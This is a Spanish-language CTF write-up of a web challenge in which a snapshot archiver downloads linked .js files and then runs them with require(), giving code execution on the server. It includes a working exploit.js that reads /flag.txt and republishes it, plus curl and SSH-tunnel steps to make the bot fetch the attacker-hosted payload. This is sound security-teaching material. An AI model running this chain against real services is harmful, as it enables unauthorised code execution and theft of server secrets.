Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | WayWayBack Machine |
| Categoría | Web |
| Contexto | "I got tired of having to dig around the internet for old files so I started archiving them myself." |
| Flag | bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10} |
Descripción del reto
La aplicación permite enviar una URL; un bot (Puppeteer) la visita, guarda un snapshot del HTML y además archiva los recursos enlazados mediante tags <link>. Los snapshots se guardan en /app/snapshots/ y se pueden ver en /snapshot/:id.
Reconocimiento
Al guardar un snapshot, el servidor extrae todas las URLs de los <link href="..."> del HTML capturado y descarga cada recurso al directorio snapshots/. El nombre del archivo se toma del path de la URL (sanitizado), así que si enlazamos https://nuestro-servidor.com/exploit.js, se guardará como exploit.js en snapshots/.
Análisis de la vulnerabilidad
Archivado de recursos (archiveResources)
// server.js - extractResourceUrls() + downloadFile()
const resourceUrls = extractResourceUrls(htmlContent, targetUrl);
// ...
await downloadFile(resourceUrl, savePath); // guarda en SNAPSHOTS_DIR
Punto crítico: preloadSnapshotResources()
Al visitar cualquier snapshot (GET /snapshot/:id), el servidor llama a esta función antes de servir el HTML:
async function preloadSnapshotResources() {
const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
for (const entry of entries) {
if (path.extname(entry.name) === '.js') {
require(filePath); // ¡Ejecuta cualquier .js del directorio!
}
}
}
Cualquier archivo .js que esté en snapshots/ se carga con require(), es decir, ejecución de código Node.js en el servidor (RCE).
Cadena de ataque
- Hacemos que el bot archive una página nuestra con un
<link>apuntando a un archivo .js controlado por nosotros. - Ese
.jsse descarga y se guarda ensnapshots/. - Cuando alguien (nosotros) visita un snapshot,
preloadSnapshotResources()hacerequire()de nuestro.js. - Nuestro código se ejecuta en el proceso del servidor: podemos leer
/flag.txty escribirla en un archivo accesible (por ejemplo otro HTML ensnapshots/).
Explotación
Archivos necesarios
index.html (servido por nuestro HTTP):
<html>
<head>
<link rel="stylesheet" href="/exploit.js">
</head>
<body><p>Archiving this page</p></body>
</html>
exploit.js (contenido que se descargará y luego se ejecutará vía require()):
const fs = require('fs');
const path = require('path');
try {
const flag = fs.readFileSync('/flag.txt', 'utf8');
fs.writeFileSync(
path.join(__dirname, 'flag_exfil.html'),
'<html><body><h1>' + flag + '</h1></body></html>'
);
} catch(e) {}
- Usamos URL relativa (
/exploit.js) para que funcione con cualquier dominio (p. ej. un túnel como localhost.run).
Pasos
-
Exponer nuestro servidor para que el bot del CTF pueda acceder (por ejemplo con localhost.run):
python3 -m http.server 8888 --bind 127.0.0.1 ssh -R 80:127.0.0.1:8888 nokey@localhost.runAnotar la URL pública (ej.
https://xxxxx.lhr.life). -
Enviar esa URL al reto:
curl -X POST https://waywayback-machine-..../api/snapshot \ -H "Content-Type: application/json" \ -d '{"url": "https://xxxxx.lhr.life"}' -
Esperar a que el status sea
complete(poll a/api/snapshot/:id/status). -
Visitar el snapshot para disparar
preloadSnapshotResources()y que se ejecute nuestroexploit.js:curl https://waywayback-machine-..../snapshot/<snapshot_id> -
Leer la flag en el HTML que escribimos:
curl https://waywayback-machine-..../snapshot/flag_exfil
Flag
bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}
Lecciones aprendidas
- Tipo: Server-Side Code Injection / RCE.
- Causa:
preloadSnapshotResources()hacerequire()de todos los.jsensnapshots/sin validar su origen. - Entrada: El bot descarga recursos de
<link>y los guarda en ese mismo directorio, permitiendo inyectar un.jsmalicioso. - Mitigación: No ejecutar código arbitrario desde un directorio donde se guardan archivos descargados; o no archivar/guardar archivos
.jsde páginas externas en ese directorio.